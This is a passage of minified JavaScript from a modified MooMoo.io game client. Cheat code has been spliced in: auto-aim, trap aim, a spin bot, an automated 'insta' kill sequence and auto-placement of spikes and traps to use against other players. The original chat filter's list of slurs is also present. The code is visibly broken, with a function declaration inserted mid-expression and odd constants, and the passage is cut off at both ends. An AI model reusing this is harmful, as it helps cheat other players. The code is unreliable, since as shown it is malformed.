r.close(),
dt(e)
}
function dt(e) {
he.style.display = "block",
Be.style.display = "none",
Me.style.display = "none",
Ge.style.display = "none",
Pe.style.display = "block",
Pe.innerHTML = e + "<a
href='javascript:window.location.href=window.location.href'
class='ytLink'>reload</a>"
}
window.onblur = function() {
lt = !1
}
,
window.onfocus = function() {
lt = !0,
R && R.alive && yn()
}
,
window.onload = function() {
ht = !0,
v(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
window.location.reload())
}
), 2e4)
}
,
window.captchaCallback = function() {
ut = !0,
v()
}
,
we.oncontextmenu = function() {
return !1
}
;
function pt() {
var e, t, n = "", i = 0;
for (var r in y.servers) {
for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
for (var l = 0; l < s[c].games.length; l++)
a += s[c].games[l].playerCount;
i += a;
var h = y.regionInfo[r].name;
n += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < s.length; u++)
for (var f = s[u], d = 0; d < f.games.length; d++) {
var p = f.games[d]
, g = 1 * f.index + d + 1
, m = y.server && y.server.region === f.region &&
y.server.index === f.index && y.gameIndex == d
, k = h + " " + g + " [" + Math.min(p.playerCount,
o.maxPlayers) + "/" + o.maxPlayers + "]";
let e = y.stripRegion(r) + ":" + u + ":" + d;
m && (de.getElementsByTagName("span")[0].innerText = e),
n += "<option value='" + e + "' " + (m ? "selected" :
"") + ">" + k + "</option>"
}
n += "<option disabled></option>"
}
n += "<option disabled>All Servers - " + i + " players</option>",
xe.innerHTML = n,
"sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo",
t = "//moomoo.io/") : (e
= "Try the sandbox",
t
= "//sandbox.moomoo.io/"),
document.getElementById("altServer").innerHTML = "<a href='" + t +
"'>" + e + "<i class='material-icons' style='font-size:10px;vertical-
align:middle'>arrow_forward_ios</i></a>"
}
function gt() {
var e = new XMLHttpRequest;
e.onreadystatechange = function() {
4 == this.readyState && (200 == this.status ? (window.vultr =
JSON.parse(this.responseText),
y.processServers(vultr.servers),
pt()) :
console.error("Failed to load server data with status code:", this.status))
}
,
e.open("GET", "/serverData", !0),
e.send()
}
xe.addEventListener("change", s.checkTrusted((function() {
let e = xe.value.split(":");
y.switchServer(e[0], e[1], e[2])
}
)));
var mt = document.getElementById("pre-content-container")
, yt = null
, kt = null;
window.cpmstarAPI((function(e) {
e.game.setTarget(mt),
kt = e
}
));
var vt = 3e5
, wt = 0
, bt = 0;
function xt() {
if (!cpmstarAPI || !kt)
return console.log("Failed to load video ad API", !!cpmstarAPI, !!
kt),
void Tn();
(yt = new
kt.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed",
(function(e) {
console.log("Video ad closed"),
St()
}
)),
yt.addEventListener("loaded", (function(e) {
console.log("Video ad loaded"),
yt.show()
}
)),
yt.addEventListener("load_failed", (function(e) {
console.log("Video ad load failed", e),
St()
}
)),
yt.load(),
mt.style.display = "block"
}
function St() {
mt.style.display = "none",
Tn()
}
function Tt(e, t, n) {
if (R && e)
if (s.removeAllChildren(Fe),
Fe.classList.add("visible"),
s.generateElement({
id: "itemInfoName",
text: s.capitalizeFirst(e.name),
parent: Fe
}),
s.generateElement({
id: "itemInfoDesc",
text: e.desc,
parent: Fe
}),
n)
;
else if (t)
s.generateElement({
class: "itemInfoReq",
text: e.type ? "secondary" : "primary",
parent: Fe
});
else {
for (var i = 0; i < e.req.length; i += 2)
s.generateElement({
class: "itemInfoReq",
html: e.req[i] + "<span class='itemInfoReqVal'> x" +
e.req[i + 1] + "</span>",
parent: Fe
});
e.group.limit && s.generateElement({
class: "itemInfoLmt",
text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
parent: Fe
})
}
else
Fe.classList.remove("visible")
}
window.showPreAd = xt;
var It, Et, Mt, At = [], Pt = [];
var primaryReload = [], secondaryReload = [], turretReload = [];
var lastX = [], lastY = [];
let AI = false, bsr = false;
let ctl = null, ltcl = null, t_s = false;
let itp = {x: void 0, y: void 0, sid: Infinity, insta: false, vis: false,
dir: void 0, health: void 0},
spin = {degree: 36, toggle: false, angle: 0}, autoaim = true, trapaim =
false, hit = {in: 0, out: 0, p: false};
let Mill = {x: null, y: null, z: false, k: null};
let erp = false;
function Bt(e, t) {
At.push({
sid: e,
name: t
}),
Ct()
}
function Ct() {
if (At[0]) {
var e = At[0];
s.removeAllChildren(Ze),
Ze.style.display = "block",
s.generateElement({
class: "notificationText",
text: e.name,
parent: Ze
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#cc5151;'></i>",
parent: Ze,
onclick: function() {
Dt(0)
},
hookTouch: !0
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#8ecc51;'></i>",
parent: Ze,
onclick: function() {
Dt(1)
},
hookTouch: !0
})
} else
Ze.style.display = "none"
}
function Ot(e) {
X.push(e),
"block" == Ye.style.display && Ut()
}
function Rt(e, t) {
R && (R.team = e,
R.isOwner = t,
"block" == Ye.style.display && Ut())
}
function jt(e) {
Pt = e,
"block" == Ye.style.display && Ut()
}
function _t(e) {
for (var t = X.length - 1; t >= 0; t--)
X[t].sid == e && X.splice(t, 1);
"block" == Ye.style.display && Ut()
}
function Ut() {
if (R && R.alive) {
if (an(),
Qe.style.display = "none",
Ye.style.display = "block",
s.removeAllChildren(We),
R.team)
for (var e = 0; e < Pt.length; e += 2)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (Pt[e] == R.sid ? "#fff" :
"rgba(255,255,255,0.6)"),
text: Pt[e + 1],
parent: We
});
R.isOwner && Pt[e] != R.sid && s.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
Lt(Pt[e])
},
hookTouch: !0,
parent: t
})
}(e);
else if (X.length)
for (e = 0; e < X.length; ++e)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (X[e].sid == R.team ? "#fff" :
"rgba(255,255,255,0.6)"),
text: X[e].sid,
parent: We
});
s.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Ft(e)
},
hookTouch: !0,
parent: t
})
}(e);
else
s.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
s.removeAllChildren(Xe),
R.team ? s.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Ht()
},
hookTouch: !0,
parent: Xe
}) : (s.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
e.preventDefault();
var t = prompt("unique name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 7)
},
parent: Xe
}),
s.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
zt()
},
hookTouch: !0,
parent: Xe
}))
}
}
var functions = ["Auto Place", "Auto Q"];
function drawMenu() {
if(Qe.style.display === "block") {
let randomShit = document.createElement("div"), anotherShit =
document.createElement("div");
randomShit.id = "urbad";
anotherShit.id = "ggez";
document.getElementById("storeMenu").appendChild(randomShit);
document.getElementById("urbad").style.paddingTop = "10px";
document.getElementById("urbad").appendChild(anotherShit);
document.getElementById("ggez").style.width = "px";
document.getElementById("ggez").style.display = "inline-block";
document.getElementById("ggez").style.padding = "10px";
document.getElementById("ggez").style.fontSize = "27px";
document.getElementById("ggez").style.backgroundColor = "rgba(0, 0,
0, 0.25)";
document.getElementById("ggez").style.borderRadius = "4px";
document.getElementById("ggez").style.color = "#fff";
document.getElementById("ggez").style.pointerEvents = "all";
document.getElementById("ggez").style.cursor = "pointer";
document.getElementById("ggez").innerText = "functions";
document.getElementById("ggez").onclick = () => {
let trashIndex = document.createElement("div");
trashIndex.id = "bullshit";
document.getElementById("storeHolder").appendChild(trashIndex);
for(let n = (Xt == 0 ? 1 : 0), t = (Xt == 0 ? et.length :
tt.length); n < t; n++) {
document.getElementById("storeDisplay" + n).remove();
}
[...Array(functions.length)].fill("style").map((q, e) => q +
e).forEach(a => {
let index = document.createElement("div");
index.id = a;
document.getElementById("bullshit").appendChild(index);
document.getElementById("bullshit").style.display = "block";
document.getElementById(a).style.pointerEvents = "all";
document.getElementById(a).style.cursor = "pointer";
document.getElementById(a).style.fontSize = "35px";
});
for(let i = 0; i < functions.length; i++) {
document.getElementById("style"+i).innerText = functions[i];
}
document.getElementById("style0").onclick = () => {
if(!erp) erp = true;
else erp = false;
}
document.getElementById("style1").onclick = () => {
if(!bsr) bsr = true;
else bsr = false;
}
}
}
}
function Dt(e) {
r.send("11", At[0].sid, e),
At.splice(0, 1),
Ct()
}
function Lt(e) {
r.send("12", e)
}
function Ft(e) {
r.send("10", X[e].sid)
}
function zt() {
r.send("8", document.getElementById("allianceInput").value)
}
function Ht() {
At = [],
Ct(),
r.send("9")
}
var Vt, qt = [];
script["data"] = o;
function Yt(e, t) {
for (var n = 0; n < qt.length; ++n)
if (!qt[n].active) {
Vt = qt[n];
break
}
Vt || (Vt = new function() {
this.init = function(e, t) {
this.scale = 0,
this.x = e,
this.y = t,
this.active = !0
}
,
this.update = function(e, t) {
this.active && (this.scale += .05 * t,
this.scale >= o.mapPingScale ? this.active = !
1 : (e.globalAlpha = 1 - Math.max(0, this.scale / o.mapPingScale),
e.beginPath(),
e.stroke()))
}
}
,
qt.push(Vt)),
Vt.init(e, t)
}
function Wt(e) {
Et = e
}
var Xt = 0;
function Nt(e, t, n) {
n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t :
R.skins[t] = 1,
"block" == Qe.style.display && (Gt(), drawMenu());
}
function Gt() {
if (R) {
s.removeAllChildren($e);
for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n)
t[n].dontSell || function(n) {
var i = s.generateElement({
id: "storeDisplay" + n,
class: "storeItem",
onmouseout: function() {
Tt()
},
onmouseover: function() {
Tt(t[n], !1, !0)
},
parent: $e
});
s.hookTouchEvents(i, !0),
s.generateElement({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" :
"hats/hat_") + t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
parent: i
}),
s.generateElement({
tag: "span",
text: t[n].name,
parent: i
}),
(e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ?
R.tailIndex : R.skinIndex) == t[n].id ? s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Jt(0, e)
},
hookTouch: !0,
parent: i
}) : s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Jt(t[n].id, e)
},
hookTouch: !0,
parent: i
}) : (s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Kt(t[n].id, e)
},
hookTouch: !0,
parent: i
}),
s.generateElement({
tag: "span",
class: "itemPrice",
text: t[n].price,
parent: i
}))
}(n)
}
}
function Jt(e, t) {
r.send("13c", 0, e, t)
}
function Kt(e, t) {
r.send("13c", 1, e, t)
}
function Hg(e, t){
Jt(e, 0);
Jt(t, 1);
}
function Qt() {
Qe.style.display = "none",
Ye.style.display = "none",
an()
}
function $t(e, t) {
e && (t ? R.weapons = e : R.items = e);
for (var n = 0; n < l.list.length; ++n) {
var i = l.weapons.length + n;
document.getElementById("actionBarItem" + i).style.display =
R.items.indexOf(l.list[n].id) >= 0 ? "inline-block" : "none"
}
for (n = 0; n < l.weapons.length; ++n)
document.getElementById("actionBarItem" + n).style.display =
R.weapons[l.weapons[n].type] == l.weapons[n].id ? "inline-block" : "none"
}
script["data"]['weapons'] = l.weapons;
script["data"]['projectiles'] = l.projectiles;
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 0.6,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
var tn = document.getElementById("chatBox")
, nn = document.getElementById("chatHolder");
function rn() {
on ? setTimeout((function() {
var e = prompt("chat message");
e && sn(e)
}
), 1) : "block" == nn.style.display ? (tn.value &&
sn(tn.value),
an()) :
(Qe.style.display = "none",
Ye.style.display = "none",
nn.style.display = "block",
tn.focus(),
yn()),
tn.value = ""
}
function sn(e) {
r.send("ch", e.slice(0, 30))
}
function an() {
tn.value = "",
nn.style.display = "none"
}
var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
"nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis",
"clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn",
"bitch", "dick", "fag", "bastard"];
function hn(e, t) {
var n = Ii(e);
n && (n.chatMessage = function(e) {
for (var t, n = 0; n < ln.length; ++n)
if (e.indexOf(ln[n]) > -1) {
t = "";
for (var i = 0; i < ln[n].length; ++i)
t += t.length ? "o" : "M";
var r = new RegExp(ln[n],"g");
e = e.replace(r, t)
}
return e
}(t),
n.chatCountdown = o.chatCountdown)
}
function un() {
F = window.innerWidth,
z = window.innerHeight;
var e = Math.max(F / oe, z / ce) * V;
we.width = F * V,
we.height = z * V,
we.style.width = F + "px",
we.style.height = z + "px",
be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) /
2)
}
function fn(e) {
(on = e) ? Ae.classList.add("touch") : Ae.classList.remove("touch")
}
function dn(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.id = -1,
bn()) : n.identifier == se.id && (se.id = -
1,
vn()),
O = 0,
vn())
}
}
function pn() {
return R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY,
se.currentX - se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F /
2)),
s.fixTo(cn || 0, 2)) : 0
}
window.addEventListener("resize", s.checkTrusted(un)),
un(),
fn(!1),
window.setUsingTouch = fn,
we.addEventListener("touchmove", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.currentX = n.pageX,
re.currentY = n.pageY,
bn()) : n.identifier == se.id &&
(se.currentX = n.pageX,
se.currentY = n.pageY,
O = 1)
}
}
)), !1),
we.addEventListener("touchstart", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id =
n.identifier,
re.startX
= re.currentX = n.pageX,
re.startY
= re.currentY = n.pageY,
bn()) :
n.pageX > document.body.scrollWidth / 2 && -1 == se.id && (se.id = n.identifier,
Mt.x = R.x,
vn(e)))
}
}
)));
var wn = void 0;
function bn() {
var e = function() {
var e = 0
, t = 0;
if (-1 != re.id)
e += re.currentX - re.startX,
t += re.currentY - re.startY;
else
for (var n in mn) {
var i = mn[n];
e += !!gn[n] * i[0],
t += !!gn[n] * i[1]
}
return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
}();
(null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e),
wn = e)
}
let instaTime = null;
let nowKills;
let lastCoords = null;
let killed = false;
let rod = false;
let lastSid = null;
async function xn() {
nowKills = R.kills;
lastSid = nEy.sid;
itp.insta = true;
lastCoords = Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
trapaim = true;
R.weaponIndex == R.weapons[0] ? null : Sn(R.weapons[0], 1);
R.weapons[0] == 5 ? null : [7, 17, 31, 23, 10, 38, 4, 15].forEach(e =>
r.send("6", e));
autoaim = true;
Equip(7, 21);
r.send("c", 1);
await nextTick();
autoaim = true;
r.send("c", 1);
R.weaponIndex == R.weapons[1] ? null : Sn(R.weapons[1], 1);
Equip(53, 11);
await nextTick();
itp.vis ? R.weaponIndex == R.weapons[1] ? Sn(R.weapons[0], 1) : null :
null;
autoaim = false;
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= 300 ||
secondaryReload[ntE[0]] == 1) {
[0, 21, 11].includes(R.tailIndex) && (Equip(6, 11)), oldShit.a = 6,
oldShit.b = R.tailIndex;
} else {
biome(11), oldShit.a = biomeeval(11)[0], oldShit.b = 11;//
Equip(7, 21); lf dont work | biome(11), oldShit.a =
biomeeval(11)[0], oldShit.b = 11;
}
nowKills < R.kills ? (killed = true, rod = false, lastCoords =
lastCoords, setTimeout(function() {killed = false, rod = true}, 650),
setTimeout(function() {rod = false}, 895)) : (killed = false, setTimeout(function()
{lastCoords = null}, 650 - 250), rod = false);
r.send('c', 0);
instaTime = Date.now();
itp.insta = false;
trapaim = true;
}
function Sn(e, t) {
r.send("5", e, t)
}
function Tn() {
I("moo_name", Le.value),
!le && r.connected && (le = !0,
x.stop("menu"),
dt("wait"),
r.send("sp", {
name: Le.value,
moofoll: H,
skin: ae
}))
}
var In = !0;
function En(e) {
Pe.style.display = "none",
Me.style.display = "block",
he.style.display = "none",
gn = {},
j = e,
O = 0,
le = !0,
In && (In = !1,
N.length = 0)
}
function Mn(e, t, n, i) {
m.showText(e, t, 50, .18, 2000, Math.abs(n), n >= 0 ? "#fff" : "#fff")
}
var An = 99999;
function Pn() {
le = !1;
if(itp.vis) itp.vis = false, itp.sid = 1/0, biome(11), r.send("c", 0),
trapaim = false, autoaim = false;
try {
factorem.refreshAds([2], !0)
} catch (e) {}
Be.style.display = "none",
Qt(),
It = {
x: R.x,
y: R.y
},
Pe.style.display = "none",
Ge.style.display = "block",
Ge.style.fontSize = "0px",
An = 0,
setTimeout((function() {
Me.style.display = "block",
he.style.display = "block",
Ge.style.display = "none"
}
), o.deathFadeout),
gt()
}
let getPosData;
function Bn(e) {
R && (nt.removeAllItems(e), getPosData = e, setTimeout(function()
{getPosData = null}, 500));
}
function Cn(e) {
for(let i = 0; i < N.length; i++) {
if(N[i].sid === e) {
if(itp.sid === e && itp.vis) {
itp.vis = !1,itp.sid = Infinity,itp.x = void 0,itp.y = void
0,r.send("c", 0),r.send("2", pn()),hit.in = 0,hit.p = false,trapaim = false,
hit.out = 0;
if(!nEs.length) {
R.weapons[1] == 10 ? Sn(R.weapons[1], 1) :
Sn(R.weapons[0], 1);
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs(R.items[4]), hit.p = false;
} else {
let ta = (50 + sIt(ntE[1], ntE[2], N)) + 47 + 85;
if(checkConstant() != undefined && checkConstant()[1]) {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= ta) {
for(let i = 0;i < 24; i++){
let a =
i*4*(i%2?-1:1)/180*Math.PI+Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
Sn(R.items[2]), r.send("c", 1,
a),r.send("c", 0, a),Sn(R.weaponIndex, 1)
}
[4, 5].includes(R.weapons[0]) ? (biome(21),
oldShit.a = biomeeval(21)[0], oldShit.b = 21) : Equip(6, 11);
} else {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
pAsa(R.items[4], [45, 315], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
pAsa(R.items[3], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
}
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[ntE[5]].range + 35) {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
place(R.items[2], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
Date.now() - heal.delay <= 181 &&
(place(R.items[0]));
} else {
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs(R.items[4]), hit.p = false;
}
}
}
} else {
if(itp.vis) {
let ta = (50 + sIt(R.x, R.y, N)) + 85;
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= ta) {
place(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x));
} else if(s.getDistance(ntE[1], ntE[2], R.x, R.y) > ta
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35)
{
trs(R.items[3]), hit.p = false;
} else {
hit.p = false, trapSupport();
}
} else {
if(nEs.length) {
if(checkConstant() != undefined && !checkConstant()
[1] && s.getDistance(ntE[1], ntE[2], R.x, R.y) <= Math.trunc(
ntE[5] == 5 ? l.weapons[R.weaponIndex].range *
1.5 : ntE[5] == 4 ? l.weapons[R.weaponIndex].range * 1.75 :
l.weapons[R.weaponIndex].range * 2)
) {
Hq(R.items[2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq(R.items[3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45);
Hq(R.items[2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq(R.items[3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315);
pAsa(R.items[4], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= 95
&& checkConstant() != undefined && checkConstant()[1] && Date.now() -
clickTimer[every].date > 600 && Date.now() - instaTime > 850) {
place(R.items[4], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y)
<= l.weapons[R.weaponIndex].range + 35 && Date.now() - clickTimer[every].date <
400) {
pAsa(R.items[2], [45, 315],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
pAsa(R.items[4], [130, 260],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
} else {
trs(R.items[4]), hit.p = false;
}
}
}
}
}
}
nt.disableObj(N[i]);
}
}
}
function On() {
Oe.innerText = R.points,
Re.innerText = R.food,
je.innerText = R.wood,
_e.innerText = R.stone,
Ue.innerText = R.kills
}
var Rn = {}
, jn = ["crown", "skull"]
, _n = [];
function Un(e, t) {
if (R.upgradePoints = e,
R.upgrAge = t,
e > 0) {
_n.length = 0,
s.removeAllChildren(Ve);
for (var n = 0; n < l.weapons.length; ++n)
l.weapons[n].age == t && (null == l.weapons[n].pre ||
R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + n).style.backgroundImage,
_n.push(n));
for (n = 0; n < l.list.length; ++n)
if (l.list[n].age == t && (null == l.list[n].pre ||
R.items.indexOf(l.list[n].pre) >= 0)) {
var i = l.weapons.length + n;
s.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + i).style.backgroundImage,
_n.push(i)
}
for (n = 0; n < _n.length; n++)
!function(e) {
var t = document.getElementById("upgradeItem" + e);
t.onmouseover = function() {
l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e -
l.weapons.length])
}
,
t.onclick = s.checkTrusted((function() {
r.send("6", e)
}
)),
s.hookTouchEvents(t)
}(_n[n]);
_n.length ? (Ve.style.display = "block",
qe.style.display = "block",
qe.innerHTML = "" + e + "") : (Ve.style.display =
"none",
qe.style.display = "none",
Tt())
} else
Ve.style.display = "none",
qe.style.display = "none",
Tt()
}
function Dn(e, t, n) {
null != e && (R.XP = e),
null != t && (R.maxXP = t),
null != n && (R.age = n),
n == o.maxAge ? (ze.innerHTML = "MAX AGE",
He.style.width = "0%") : (ze.innerHTML = "" +
R.age,
He.style.width = R.XP /
R.maxXP * 0 + "%")
}
function Ln(e) {
s.removeAllChildren(De);
for (var t = 1, n = 0; n < e.length; n += 3)
!function(n) {
s.generateElement({
class: "leaderHolder",
parent: De,
children: [s.generateElement({
class: "leaderboardItem",
style: "color:" + (e[n] == j ? "white" : "rgba(250, 250,
250)"),
text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
}), s.generateElement({
class: "leaderScore",
text: s.kFormat(e[n + 2]) || "0"
})]
})
}(n),
t++
}
function Fn(e, t, n, i) {
be.save(),
be.setTransform(1, 0, 0, 1, 0, 0),
be.scale(V, V);
var r = 50;
be.beginPath(),
be.arc(e, t, r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "rgba(255, 255, 255, 0.3)",
be.fill(),
r = 50;
var s = n - e
, a = i - t
, o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2))
, c = o > r ? o / r : 1;
s /= c,
a /= c,
be.beginPath(),
be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "white",
be.fill(),
be.restore()
}
function zn(e, t, n) {
for (var i = 0; i < G.length; ++i)
(_ = G[i]).active && _.layer == e && (_.update(P),
_.active && ki(_.x - t, _.y -
n, _.scale) && (be.save(),
be.rotate(_.dir),
be.restore()))
}
var Hn = {};
function Vn(e, t, n, i, r) {
if (n.src) {
var s = l.projectiles[n.indx].src
, a = Hn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Hn[s] = a),
a.isLoaded && i.drawImage(a, e - n.scale / 2, t - n.scale / 2,
n.scale, n.scale)
} else
1 == n.indx && (i.fillStyle = "#939393",
si(e, t, n.scale, i))
}
function qn(e, t, n, i) {
var r = o.riverWidth + i
, s = o.mapScale / 2 - t - r / 2;
s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
}
function Yn(e, t, n) {
for (var i, r, s, a = 0; a < N.length; ++a)
(_ = N[a]).active && (r = _.x + _.xWiggle - t,
s = _.y + _.yWiggle - n,
0 == e && _.update(P),
_.layer == e && ki(r, s, _.scale + (_.blocker
|| 0)) && (be.globalAlpha = _.hideFromEnemy ? .6 : 1,
_.isItem ? (i = ri(_),
be.save(),
be.translate(r, s),
be.globalAlpha = .3,
be.lineWidth = 6,
be.restore(), R && _ && W && _.owner && _.owner.sid != R.sid && (!R.team ||
((W.find(c => c.sid == _.owner.sid)) && (W.find(c => c.sid == _.owner.sid)).team !=
R.team) || !(W.find(c => c.sid == _.owner.sid))) && _.active && _.isItem && _.name
=== "pit trap" && Math.hypot(_.x - R.x, _.y - R.y) <= 85 && (itp.x = _.x, itp.y =
_.y, itp.sid = _.sid, itp.health = _.health, itp.vis = !0, (!nEs.length ?
trs(R.items[4]) : trapSupport())),
itp.vis && Math.hypot(itp.x - R.x, itp.y - R.y) >= 86 && (itp.sid = Infinity,
itp.vis = !1, itp.x = void 0, itp.y = void 0, trapaim = false, hit.p = false,
hit.in = 0, hit.out = 0, Hg(6, 11))) : (i = ni(_),
function spn(){
if(spin.angle > 6.2831853036) spin.angle = 0;
spin.angle += spin.degree * 0.01745329251;
return spin.angle;
}
function angleRotation(d, s, i) {//now direction, searched direction, index.
let dif = Math.abs(d - s);
let sld;
dif = dif % (Math.PI*2);
if(dif > Math.PI){
dif = (Math.PI*2) - dif;
}
sld = d;
sld += Math.round(dif/i);
/*
if(Math.abs(s - sld) < 0.2 || Math.abs(s - sld) > 0.2) {
return s;
} else {
*/
return sld;
}
function isElementVisible(e) {
return (e.offsetParent !== null);
}
function toRad(e) {
return e * 0.01745329251;
}
function place(u, t = pn()) {
Sn(u), r.send("c", 1, t), r.send("c", 0, t), Sn(R.weaponIndex, 1);
}
function Nn(e, t) {
(t = t || be).lineWidth = 5.5,
t.lineJoin = "miter";
var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1)
, i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1
, r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
if (e.tailIndex > 0 && function(e, t, n) {
if (!(Gn = Qn[e])) {
var i = new Image;
i.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
i.src = ".././img/accessories/access_" + e + ".png",
Qn[e] = i,
Gn = i
}
var r = $n[e];
if (!r) {
for (var s = 0; s < tt.length; ++s)
if (tt[s].id == e) {
r = tt[s];
break
}
$n[e] = r
}
Gn.isLoaded && (t.save(),
t.translate(-20 - (r.xOff || 0), 0),
r.spin && t.rotate(n.skinRot),
t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale,
r.scale),
t.restore())
}(e.tailIndex, t, e),
e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null ==
l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile ||
Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
t.fillStyle = o.skinColors[e.skinColor],
si(e.scale * Math.cos(n), e.scale * Math.sin(n), 14),
si(e.scale * r * Math.cos(-n * i), e.scale * r * Math.sin(-n * i),
14),
e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null ==
l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile ||
Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
e.buildIndex >= 0) {
var s = ri(l.list[e.buildIndex]);
